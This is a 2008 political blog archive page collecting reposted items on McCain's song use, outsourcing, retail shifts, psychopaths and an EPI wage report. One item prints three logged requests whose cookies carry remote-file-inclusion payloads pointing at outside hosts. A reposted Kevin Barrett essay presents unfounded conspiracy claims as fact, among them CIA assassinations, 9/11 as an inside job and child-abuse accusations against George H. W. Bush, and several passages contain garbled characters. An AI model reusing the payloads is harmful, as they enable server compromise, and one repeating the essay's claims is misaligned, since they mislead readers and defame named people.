Article 43
Sunday, August 31, 2008
Copyrights Are For Others
Van Halen Mad At McCain Over Song Use
Huffington Post
August 29, 2008
John McCain ended the big rally INTRODUCING SARAH PALIN as his running mate with the Van Halen song “Right Now,” and the band is not pleased, REPORTS TMZ
After John McCain used a Van Halen song during his big speech earlier today, the band wants to make to make one thing clear—they’re not running with McCain.
Van Halen management tells us the band had no idea McCain was planning on using “Right Now” during his big entrance in Ohio telling us,
“Permission was not sought or granted nor would it have been given.”
Oops! But it’s familiar territory.
Just two weeks ago, rocker Jackson Browne was similarly FURIOUS about McCain using one his songs.
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Slitting Our Own Throats
Yesterday us mainstream Americans EMBRACED OUTSOURCING, today we choose to shop at WAL-MART, and tomorrow we’ll be scarfing up those NEW $5,000 CHERY AUTOMOBILES made entirely in CHINA and MEXICO.
As much as our immoral, corrupt government, led by big-business is to blame.
So are we.
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The Pinched Middle Class Is Ditching Target For Wal-Mart
By Marie Cocco
Alternet
The one certainty I have about the economy is that I did not cause Target’s profits to slide. Quite the opposite. I’ve been dedicating time for trips to the discount retailer to save a few bucks that would otherwise have been spent thoughtlessly buying, say, paper towels at the grocery store, where you never know if they’ll be on sale.
But it turns out that consumers more pinched than I am are switching to Wal-Mart, so that discounter has been posting sales increases while Target is slumping. With wholesale inflation for July just reported at a 27-year high, consumer prices in the coming months will likely have at least some of this summer’s painful energy costs factored in, so we probably haven’t seen the worst of inflation.
Even Saks, the luxury DEPARTMENT STORE, is suffering a slide in sales and profits. The economic pain is trickling up, a perversely welcome change from the immunity the Saks class has enjoyed for too many years to count.
This week’s bad news is almost sure to be followed by more next week, when the Census Bureau reports on 2007 trends in income, poverty and the number of Americans without health insurance. This consistently alarming number is likely to climb again. Employers were dumping insurance coverage to pare costs even before they started dumping significant numbers of jobs altogether. And since insurance coverage is usually tied to jobs, the logic is inescapable. “I expect a significant increase in the number of the uninsured,” says Jared Bernstein, a senior economist at the Economic Policy Institute.
The surge in inflation comes after years during which wages have been mostly flat, another trend likely to be confirmed by the Census. The economic expansion that began after the 2001 recession could be the first on record in which real median family income actually will be lower at the end of the “recovery” than it was at the last business peak in 2000, Bernstein believes.
It is no overstatement to call this a crisis. The thoroughly disheartening twist is that it seems not to have sparked a political uprising, even in the midst of a presidential campaign.
With economic conditions about as bad as they’ve been since the early 1980s, the most pressing political stories of the past week have been entirely—and exhaustively—beside the point. One involved whether Republican John McCain or Democrat Barack Obama was more effective in groveling before the famous pastor of an evangelical Christian megachurch. When the two candidates were not maneuvering their way through the religious thicket, they were calibrating their strategies for announcing their choices for vice president. Never mind that there’s precious little historical evidence that this choice matters very much in an election’s outcome. The way the candidates stage-manage the selection is now supposedly the significant and revealing event.
You are left to wonder what any of this has to do with the price of milk, which, like the price of most FOOD, has gotten completely out of hand. I have never been one to hold politicians accountable for not knowing the answer to those silly questions such as how much a gallon of milk or a loaf of bread costs. This particular game of gotcha is unfair to politicians running for president since they really do live in a cocoon imposed partly by contemporary security needs and partly by their fear of giving a thoroughly embarrassing answer.
Still, the price of milk—rather, the broader, complicated, awful economic circumstances we confront that have helped lead to the mind-boggling price of milk—should be the most talked-about political issue right now.
Yet other than the drill-or-not-to-drill-for-offshore-oil debate, no economic issue has made it into the core campaign message of either candidate.
You can’t blame McCain. He is closely tied to the Bush administration’s failures on the economy and even flip-flopped to say he would continue the exorbitant tax breaks for the rich that he first wisely opposed. But where is the outrage from Obama? It has turned up, finally, in television ads that, in part, use McCain’s own statements on the economy to depict the Arizona senator as clueless.
Amid this blur, I long for a candidate who would “focus like a laser beam” on the economy. That’s what voters are doing as they see their paychecks shrink from inflation, their jobs threatened and their middle-class dreams diminished.
Links used here:
WAL-MART’S GIANT SUCKING SOUND
CONSUMERS EMBRACE OUTSOURCING
CONSUMERS EMBRACE OUTSOURCING PART 2
THE NEXT DEPRESSION PART 2
CHINA COSTS US ALL
THE NEXT RECESSION PART 20
NO MORE CHEAP FOOD
NEW $5,000 CARS
HI-TECH MEXICAN SWEATSHOPS
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Today’s Interesting Web Log
Today’s INTERESTING INTRUDER to the web server comes from BLUE CONNEX in the UK.
I wonder what those ping.txt files are up to?
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Request: 217.112.94.226 - - [31/Aug/2008:08:11:13 --0400]
GET /scripts/adminBanned.php HTTP/1.1
Accept: */*
Accept-Encoding: gzip
Cookie: GlobalSettings[templatesDirectory]=http://cdu-woerth.de/help/ping.txt?&
Request: 217.112.94.226 - - [31/Aug/2008:08:16:52 --0400]
GET /scripts/admin.php HTTP/1.1
Accept: */*
Accept-Encoding: gzip
Cookie: basedir=http://advancingthebrand.coop/bb/ping.txt?&
Request: 217.112.94.226 - - [31/Aug/2008:09:17:04 --0400]
GET /scripts/admin.php HTTP/1.1
Accept: */*
Accept-Encoding: gzip
Cookie: absolute_path=http://civilwarchallenge.org/test/ping.txt?&
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Saturday, August 30, 2008
Twilight Of The Psychopaths
By Dr. Kevin Barrett
The Canadian
August 29, 2008
Our society is run by insane people for insane objectives. I think we’re being run by maniacs for maniacal ends and I think I’m liable to be put away as insane for expressing that. That’s what’s insane about it.”
- John Lennon, before his murder by CIA mind-control subject Mark David Chapman
When Gandhi was asked his opinion of Western civilization he said it would be a good idea. But that oft-cited quote, is misleading, assuming as it does that civilization is an unmitigated blessing.
CIVILIZED PEOPLE, we are told, live peacefully and cooperatively with their fellows, sharing the necessary labour in order to obtain the leisure to develop arts and sciences. And while that would be a good idea, it is not a good description of what has been going on in the so-called advanced cultures during the past 8,000 years.
“Civilization, as we know it, is largely the creation of psychopaths. All civilizations, our own included, have been based on slavery and warfare.” Incidentally, the latter term is a euphemism for mass murder. Fgovernmen
The prevailing recipe for civilization is simple:
1) Use LIES and BRAINWASHING to create an army of CONTROLLED, systematic mass murderers;
2) Use that army to ENSLAVE large numbers of people (i.e. seize control of their labour power and its fruits);
3) Use that slave labour power to improve the brainwashing process (by using the economic surplus to employ scribes, PRIESTS, and PR men). Then go back to step one and repeat the process.
Psychopaths have played a disproportionate role in the development of civilization, because they are hard-wired to lie, kill, injure, and generally inflict great suffering on other humans without feeling any remorse. The inventor of civilization - the first tribal chieftain who successfully brainwashed an army of controlled mass murderers - was almost certainly a genetic psychopath. Since that momentous discovery, psychopaths have enjoyed a significant advantage over non-psychopaths in the struggle for power in civilizational hierarchies, especially military hierarchies.
Military institutions are tailor-made for psychopathic killers. The 5% or so of human males who feel no remorse about killing their fellow human beings make the best soldiers. And the 95% who are extremely reluctant to kill make terrible soldiers - unless they are brainwashed with highly sophisticated modern techniques that turn them (temporarily it is hoped) into functional psychopaths.
In On Killing, Lt. Col. Dave Grossman has re-written military history, to highlight what other histories hide: The fact that military science is less about strategy and technology, than about overcoming the instinctive human reluctance to kill members of our own species. The true Revolution in Military Affairs was not Donald Rumsfeld’s move to high-tech in 2001, but Brigadier Gen. S.L.A. Marshall’s discovery in the 1940s that only 15-20% of World War II soldiers along the line of fire would use their weapons: Those (80-85%) who did not fire did not run or hide (in many cases they were WILLING TO RISK GREAT DANGER to rescue comrades, get ammunition, or run messages), but they simply would not fire their weapons at the enemy, even WHEN FACED WITH repeated waves of banzai charges (Grossman, p. 4).
Marshall’s discovery and subsequent research, proved that in all previous wars, a tiny minority of soldiers - the 5% who are natural-born psychopaths, and perhaps a few temporarily-insane imitatorsdid almost all the killing. Normal men just went through the motions and, if at all possible, refused to take the life of an enemy soldier, even if that meant giving up their own. The implication: Wars are ritualized mass murders by psychopaths of non-psychopaths. (This cannot be good for humanity’s genetic endowment!)
Marshalls work, brought a Copernican revolution to military science. In the past, everyone believed that the soldier willing to kill for his country was the (heroic) norm, while one who refused to fight was a (cowardly) aberration. The truth, as it turned out, was that the normative soldier hailed from the psychopathic five percent. The sane majority, would rather die than fight.
The implication, too frightening for even the likes of Marshall and Grossman to fully digest, was that the norms for soldiersג behaviour in battle had been set by psychopaths. That meant that psychopaths were in control of the military as an institution. Worse, it meant that psychopaths were in control of societys perception of military affairs. Evidently, psychopaths exercised an enormous amount of power in seemingly sane, normal society.
How could that be? In Political Ponerology, Andrzej Lobaczewski explains that clinical psychopaths enjoy advantages even in non-violent competitions to climb the ranks of social hierarchies. Because they can lie without remorse (and without the telltale physiological stress that is measured by lie detector tests) psychopaths can always say whatever is necessary to get what they want. In court, for example, psychopaths can tell extreme bald-faced lies in a plausible manner, while their sane opponents are handicapped by an emotional predisposition to remain within hailing distance of the truth. Too often, the judge or jury imagines that the truth must be somewhere in the middle, and then issues decisions that benefit the psychopath. As with judges and juries, so too with those charged with decisions concerning who to promote and who not to promote in corporate, military and governmental hierarchies. The result is that all hierarchies inevitably become top-heavy with psychopaths.
So-called conspiracy theorists, some of whom deserve the pejorative connotation of that much-abused term, often imagine that secret societies of Jews, Jesuits, bankers, communists, Bilderbergers, Muslim extremists, papists, and so on, are secretly controlling history, doing dastardly deeds, and/or threatening to take over the world. As a leading “conspiracy theorist” according to Wikipedia, I feel eminently qualified to offer an alternative conspiracy theory which, like the alternative conspiracy theory of 9/11, is both simpler and more accurate than the prevailing wisdom: The only conspiracy that matters is the conspiracy of the psychopaths against the rest of us.
Behind the apparent insanity of contemporary history, is the actual insanity of psychopaths fighting to preserve their disproportionate power. And as that power grows ever-more-threatened, the psychopaths grow ever-more-desperate. We are witnessing the apotheosis of the overworld - the criminal syndicate or overlapping set of syndicates that lurks above ordinary society and law just as the underworld lurks below it. In 9/11 and the 9/11 wars, we are seeing the final desperate power-grab or endgame (Alex Jones) of brutal, cunning gangs of CIA drug-runners and President-killers; money-laundering international bankers and their hit-men, economic and otherwise; corrupt military contractors and gung-ho generals; corporate predators and their political enablers; brainwashers and mind-rapists euphemistically known as psy-ops experts and PR specialistsin short, the whole sick crew of certifiable psychopaths running our so-called civilization. And they are running scared. It was their terror of losing control that they projected onto the rest of us by blowing up the Twin Towers and inciting temporary psychopathic terror-rage in the American public.
Why does the pathocracy fear it is losing control? Because it is threatened by the spread of knowledge. The greatest fear of any psychopath is of being found out. As George H. W. Bush said to journalist Sarah McClendon, December 1992, If the people knew what we had done, they would chase us down the street and lynch us. Given that Bush is reported to have participated in parties where child prostitutes were sodomized and otherwise abused, among his many other crimes, his statement to McClendon should be taken seriously.
Psychopaths go through life knowing that they are completely different from other people. They quickly learn to hide their lack of empathy, while carefully studying others’ emotions so as to mimic normalcy while cold-bloodedly manipulating the normals.
Today, thanks to new information technologies, we are on the brink of unmasking the psychopaths and building a civilization of, by and for the normal human being a civilization without war, a civilization based on truth, a civilization in which the saintly few rather than the diabolical few would gravitate to positions of power. We already have the knowledge necessary to diagnose psychopathic personalities and keep them out of power. We have the knowledge necessary to dismantle the institutions in which psychopaths especially flourish - militaries, intelligence agencies, large corporations, and secret societies. We simply need to disseminate this knowledge, and the will to use it, as widely as possible.
Above all, we need to inform the public about how psychopaths co-opt and corrupt normal human beings. One way they do this, is by manipulating shame and denial emotions foreign to psychopaths but common and easily-induced among normals.
Consider how gangs and secret societies (psychopaths’ guilds in disguise) recruit new members. Some criminal gangs and satanist covens demand that candidates for admission commit a murder to earn their stripes. Skull and Bones, the Yale-based secret society that supplies the CIA with drug-runners, mind-rapists, child abusers and professional killers, requires neophytes to lie naked in a coffin and masturbate in front of older members while reciting the candidates entire sexual history. By forcing the neophyte to engage in ritualized behaviour that would be horrendously shameful in normal society, the psychopaths’ guild destroys the candidates normal personality, assuming he had one in the first place, and turns the individual into a co-opted, corrupt, degraded shadow of his former self - a manufactured psychopath or psychopaths apprentice.
This manipulation of shame has the added benefit of making psychopathic organizations effectively invisible to normal society. Despite easily available media reports, American voters in 2004 simply refused to see that the two major-party presidential candidates had lain naked in a coffin masturbating in front of older Bonesmen in order to gain admission to Skull and Bones and thus become members of the criminal overworld. Likewise, many Americans have long refused to see that hawkish elements of the overworld, operating through the CIA, had obviously been the murderers of JFK, MLK, RFK, JFK Jr., Malcolm X, Chғ, Allend, Wellstone, Lumumba, Aguilera, Diem, and countless other relatively non-psychopathic leaders. They refuse to see the continuing murders of millions of people around the world in what amounts to an American holocaust. They refuse to see the evidence that the psychopaths҈ guilds running Americas most powerful institutions use the most horrific forms of sexualized abuse imaginable to induce multiple-personality-disorder in child victims, then use the resulting mind-control slaves as disposable drug-runners, prostitutes, Manchurian candidates, and even diplomatic envoys. And of course they refuse to see that 9/11 was a transparently obvious inside job, and that their own psychopath-dominated military-intelligence apparatus is behind almost every major terrorist outrage of recent decades.
All of this psychopathic behaviour at the top of the social hierarchy is simply too shameful for ordinary people to see, so they avert their gaze, just as wives of husbands who are sexually abusing their children sometimes refuse to see what is happening in plain view. If deep, deep denial were a river in Egypt, American citizensȒ wilful blindness would be more like the Marianas Trench.
But thanks to the power of the internet, people everywhere are waking up. The only obvious non-psychopath among Republican presidential candidates, Ron Paul, also happens to be the only candidate in either party with significant grassroots support.
If love is embedded in the Revolution Ron Paul heralds, that is because Dr. Paul a kindly, soft-spoken physician who has delivered more than 4,000 babies implicitly recognizes that government is the invention and tool of psychopaths, and therefore must be strictly limited in scope and subjected to a rigorous system of checks and balances, lest the psychopaths tools, fear and hatred, replace love as the glue that binds society together.
The decline in militarism since World War II in advanced countries, the spread of literacy and communications technology, and the peopleҗs growing demands for a better life, together represent a gathering force that terrifies the pathocracy, (those alternately competing-then-cooperating gangs of psychopaths who have ruled through lies, fear and intimidation since the dawn of so-called civilization).
Since nuclear weapons have made war obsolete, the pathocracy is terrified that its favourite social control mechanism ritualized mass slaughter Ғ is increasingly unavailable. And if war was the great human tragedy, the pathocrats pathetic attempt at a war-substitute ח the transparently phoney war on terrorҗ is repeating it as sheerest farce.
Truly, we are witnessing the twilight of the psychopaths. Whether in their death throes they succeed in pulling down the curtain of eternal night on all of us, or whether we resist them and survive to see the dawn of a civilization worthy of the name, is the great decision in which all of us others, however humbly, are now participating.
Dr. Kevin Barrett, co-founder of the Muslim-Christian-Jewish Alliance for 9/11 Truth, LINK, has taught English, French, Arabic, American Civilization, Humanities, African Literature, Folklore, and Islam at colleges and universities in the San Francisco Bay area, Paris, and Madison, Wisconsin. Barrett became a 9/11 truth activist in 2004 after reading David Griffin’s The New Pearl Harbor and conducting follow-up research that convinced him Griffin had accurately summarized evidence indicating 9/11 was an inside job.
In the summer of 2006, Republican state legislators and Fox newscasters demanded that Barrett be fired from his job teaching an introductory Islam class at the University of Wisconsin-Madison, but the University refused to buckle, and Barrett got high marks from his students. He has appeared in several documentary films, lectures widely on 9/11 and hosts three radio programs on three different patriot networks.
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Which professions have the most psychopaths? The fewest?
By Eric Barker
December 11, 2012
First off, psychopath doesn’t just mean someone who cuts you up with a chainsaw - though the majority of people who do things like that are psychopaths. Whats the definition?
Psychopathy is a personality disorder that has been variously described as characterized by shallow emotions (in particular reduced fear), stress tolerance, lacking empathy, coldheartedness, lacking guilt, egocentricity, superficial character, manipulativeness, irresponsibility, impulsivity and antisocial behaviors such as parasitic lifestyle and criminality.
So which professions (other than axe murderer) do they disproportionately gravitate towards җ or away from?
And the next thing that comes to mind is: Why?
Most of the professions on the right require human connection, dealing with feelings and most of them dont offer much power. Psychopaths, by their very nature, would not be drawn to or very good at these things.
On the other hand, most of the roles on the left do offer power and many require an ability to make objective, clinical decisions divorced from feelings. Psychopaths would be drawn to these roles and thrive there.
That said…
Chef? Really? I guess it pays to tread lightly around anyone who has a set of knives bearing their initials.
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The State Of Working America 2008
For Most, Economy Yields More Of Less.
Economic Policy Institute
August 30, 2008
Despite surging productivity, Americans suffer from dwindling income, rising inequality, eroding living standards and declining expectations
As business cycles go, the one that started in 2001 is a study in sharp contrasts. The men and women of the America workforce were incredibly productive, but more than in any previous cycle, the economic fruits of this growth eluded them. Unless current trends take an unexpected new direction, this will be the first business cycle ever recorded in which Americas middle-class families will end the cycle with less real (that is, inflation-adjusted) income than they had at the beginning.
It’s not that the potential wasn’t there for a happier outcome. After all, during the round of contraction and recovery just ended, GDP rose a healthy 2.5% per month. But the promise implied by that growth nearly 20% across the full cycle - never materialized for the vast majority. Instead, the lions share of the benefits only reached the wallets at the highest end of the income scale, bypassing most of the people whose work made that growth possible. The State of Working America 2008/2009, released today by the Economic Policy Institute in an online preview version, provides a detailed picture of the 2000-2007 business cycle, its impact on America’s working people and families, and its implications for the current downturn. In this 11th edition, EPI economists Lawrence Mishel, Jared Bernstein and Heidi Shierholz update and expand on previous volumes with the latest data and analysis in a new introduction and commentary, plus chapters on jobs, wages, family income, and income mobility released today. (Additional chapters on poverty, and wealth will follow, along with a new chapter on health care, with the publication of the full print edition of the book by Cornell University Press in January 2009.)
In their REVIEW OF THE CURRENT ECONOMIC PICTURE, five dominant factors emerge: strong growth in productivity, weak growth of jobs; stagnant or falling real household income for most families; increasingly unequal distribution of the benefits of economic growth; and the increasingly rigid economic stratification this inequality produces. The book discusses these factors in their historic context and describes their implications given the downturn now underway.
Weak Jobs Growth
The 2000-2007 business cycle was the first ever to record a drop in the share of the working age population that was actually working. The 1.1 percentage point decline in labor force participation translates to about 1.4 million people who could otherwise have been working or actively job-hunting. The economys failure to generate enough jobs shows up quite dramatically in measures of long-term unemployment, which rose dramatically in the 2000-2007 cycle. The share of the unemployed who were out of work six months or longer rose from 12.1% during the 1990s to 19.4% in the 2000s. Disproportionately large shares of the long-term unemployed in 2007 were more experienced workers (age 45 and older) and college educated. This cycle’s jobs growth performance was dramatically slower than in past recoveries. While, on average, jobs grew 2.0% a year during previous business cycles, growth was one-third as fast just 0.6% during the period from 2000-2007. Just to regain the jobs lost during the 2001recession took nearly four years (47 months) - more than twice as long as the 21-month average in all other post-World War II cycles. “If job growth from 2000 to 2007 had matched the 1990s cycle, the economy would have added 7 million more jobs than it did,” co-author Heidi Shierholz noted. “The weak jobs situation means that the potential of millions of productive, hard-working Americans has been left untapped—a profound disservice to them, their families, and the economy as a whole.”
Squeezed Paychecks
The cost of weak jobs growth is also borne not solely by the unemployed but also by those with jobs. When jobs are scarce, employees have little leverage to bargain for better wages and benefits. The share of involuntary part-timers (that is, those would want but cannot find full-time work) has continued to rise as employers cut costs by reducing work hours. As of June 2008, with the economy again shedding jobs at a recessionary pace, the number of people involuntarily working part-time has risen to about 5 million. That same month, nearly a fifth (18%) of the unemployed had been out of work for at least half a year. Although the economy has expanded by 18% since 2000, most Americans household income does not reflect that growth. Quite the opposite: real income for the median family fell by 1.1% from 2000-2006. A small increase in the median family’s hourly wages (1%) was more than wiped out by the 2.2% drop in annual work hours. Moreover, whatever wage growth occurred since 2000 was based on the momentum from the 1990s recoverywages did not improve at all over the 2002-07 recovery. This performance contrasts sharply with the previous business cycle. From 1989 to 2000 hourly wages that grew 4.7% and annual work hours that expanded 4.1% were the biggest factors that generated real income growth of 10.5% for middle-income families.
Unbalanced Growth
The growth that economic statistics report may have seemed imaginary to most American families, but it was very real for another group. The people at the very top 10% of the income ladder reaped the lionגs share of the rewards of economic growth, more than 90% of all the growth from 1989 to 2006. And the higher up the ladder they started out, the greater the rewards. For the bottom half of that top 10% (the 90th to the 95th percentile) income grew 32%. But in the rarefied air of the top 1%, income more than tripled (203.7% increase) and in the top 1% of that top 1%, incomes more than quintupled - increasing by 425% to an average income of $30.5 million for that group in 2006. “While most Americans were struggling, the good times were rolling among the top 10%,” said co-author Lawrence Mishel. “We have seen a large scale skimming of the benefits of growth from the bottom 90% of Americans to the top 10%, and especially to the top one percent and, even more so, the top one-tenth of a percent.”
Income Immobility
It may not be surprising to see the old saying “the rich get richer coming true. But if another saying is true, that in America we can all work hard and “pull ourselves up by our bootstraps,” maybe we can count on upward mobility to get us a bigger share of the pie. But the authors exploration of data on income mobility shows that the “bootstrap theory” does not describe most peoples’ experience. While some mobility exists, significant shares of families remain near their same position in the income scale. For example, about 60% of families that start in the bottom fifth are still there a decade later. At the other end of the income scale, 52% of families that start in the top fifth finish there at the end of the decade. There is also less income mobility in the United States than in many other advanced countries, including European countries like Germany and Denmark whose societies are perceived to be more rigidly stratified than ours. Inequality itself leads to diminished mobility. The greater concentration of income tends to limit access to the tools that would help make that climb possible. The report examines the gap between top and bottom in completion of a college degree among students with similar academic potential. So wide is that gap that high-achievement students from low-income families are no more likely than low-achievement students from high-income families to complete a college degree.
“When income concentration creates barriers to the resources and opportunities that would enable people to get ahead through their own initiative and efforts, that violates our fundamental sense of fairness,” said co-author Jared Bernstein. “Americans do not object to unequal outcomes if they mean that some people are working harder and smarter, but we do object if the deck is being stacked by unequal opportunities.”
Challenges Ahead
With the next recession underway, Americans now face fresh challenges. Over 400,000 jobs were lost in the first half of 2008 as the unemployment rate rose to 5.5% - up from its 4.4% low point in March 2007. Economists expect unemployment to reach 6.4% in 2009. For African-Americans and Hispanics the outlook is graver. While both groups made significant gains in employment rates during the full-employment recovery of the latter 1990s, those gains were reversed in the 2000-2007 cycle. Based on historic patterns, the authors expect unemployment among African- Americans to be around 11% - by the end of 2009. The story of working America today is one of promise the vigorous growth achieved by the hard and smart work of millions of Americans. It is also a story of how that promise has been broken, as too few of those contributions are fairly rewarded.
ECONOMIC POLICY INSTITUTE (EPI) is an independent, nonprofit, nonpartisan think tank that researches the impact of economic trends and policies on working people in the United States and around the world. EPI’s mission is to inform people and empower them to seek solutions that will ensure broadly shared prosperity and opportunity.
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